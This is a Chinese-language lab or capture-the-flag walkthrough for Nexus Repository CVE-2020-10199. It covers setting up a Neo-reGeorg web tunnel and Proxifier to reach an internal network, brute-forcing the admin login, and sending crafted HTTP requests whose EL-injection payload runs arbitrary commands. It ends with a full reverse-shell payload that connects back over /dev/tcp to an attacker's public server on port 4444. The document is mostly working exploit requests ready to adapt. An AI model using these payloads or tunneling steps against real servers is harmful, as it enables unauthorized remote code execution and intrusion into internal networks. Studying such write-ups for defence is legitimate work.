文章目录
Nexus(CVE-2020-10199)
本题知识点
- 内网渗透连接方法
- Nexus
- 注意事项:本漏洞必须保证首先在上传一个jar包
内网渗透方法
neo-reGeorg+Proxifier代理内网渗透工具
neo-reGeorg
首先下载neo-reGeorg,下载地址
https://github.com/L-codes/Neo-reGeorg
下载后有如下文件,操作简单,只需要两步
- 1.在本地设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器(靶机)
python neoreg.py generate -k admin
其中admin是密码,可以随便设置,成功后返回结果如下
可一看到在文件夹中多出了一个文件夹neoreg_servers。
打开后发现相关脚本,服务器是什么语言上传想用语言的脚本。
在这里,我这里是php的语言,在第一步getshell之后直接在仪剑中上传tunnel.php,
- 上传完成后在本地实行监听,使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
python3 neoreg.py -k admin -u http://xx/tunnel.php
其中admin为刚才我们设置的密码,如果连接成功,返回如下:
没有ERROR,只有一个闪光标,可以看到socks5 server端口为1080,接下来我们需要配置Proxifier。
proxifiter for mac配置
首先点击添加代理,刚才我们看到端口为1080
点击rules,创建规则,如下
其中Default选择Direct,新建一个socts,代理为刚才的127.0.0.1:1080,最主要的是Target Hosts,这里可以填写我们需要代理的地址,如本题,我们在上个题目中发现为192.168.144.*
所以秩序将Target Hosts改为192.168.144.0-192.168.144.255即可,添加完成后直接用Google访问192.168.144.3:8081即可。
登录后直接登录,爆破
爆破出密码admin123,进行登录
将必填项填写后,点击upload。
Nexus漏洞验证
注释:此处的漏洞验证应用到了vulfocus中的靶场,不过特别不好用,在这里打了一会后用本机再次搭建的。
发送验证数据包
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 123.58.224.8:63778
Content-Length: 203
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.9425898541928359
Content-Type: application/json
Accept: */*
Origin: http://123.58.224.8:63778
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://123.58.224.8:63778/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.9425898541928359; NXSESSIONID=74764ce0-fcbf-4edd-bf2c-878657b42c29
Connection: close
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{233*233*233}"]
}
}
上面需要修改三个地方,Host: 123.58.224.8:63778
、Origin: http://123.58.224.8:63778
、Referer: http://123.58.224.8:63778/
修改为自己的ip。
NX-ANTI-CSRF-TOKEN=0.9425898541928359; NXSESSIONID=74764ce0-fcbf-4edd-bf2c-878657b42c29
修改为自己登录后的TOKEN和NXSESSIONID,注意还有上面有一个NX-ANTI-CSRF-TOKEN: 0.9425898541928359
需要修改。
修改完后,直接发送上述数据包,如图。
可以看到233233233被计算出来了,漏洞存在。
使用表达式$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}
即可成功执行任意命令。
如图,命令执行成功。
反弹shell
此处的payload为本地搭建的环境。
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 331
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.35495162173217687
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:8081/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.35495162173217687; NXSESSIONID=335df1ae-9085-41d1-87c7-033ef20fe5d5
Connection: close
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/公网ip/4444<&1')}"]
}
}
也是和上面一样,需要修改三个地方,Host: 127.0.0.1:8081
、Origin: http://127.0.0.1:8081
、Referer: http://127.0.0.1:8081/
修改为自己靶机的ip端口。
NX-ANTI-CSRF-TOKEN=0.35495162173217687;NXSESSIONID=335df1ae-9085-41d1-87c7-033ef20fe5d5
修改为自己登录后的TOKEN和NXSESSIONID,注意还有上面有一个NX-ANTI-CSRF-TOKEN: 0.35495162173217687
需要修改。
最后公网ip是自己的云服务器地址,在公网ip(云服务器)上用nc执行监控4444端口
如图,表示反弹shell成功。在公网ip上用nc执行监控4444端口
我们在公网服务器上可以看到执行命令成功。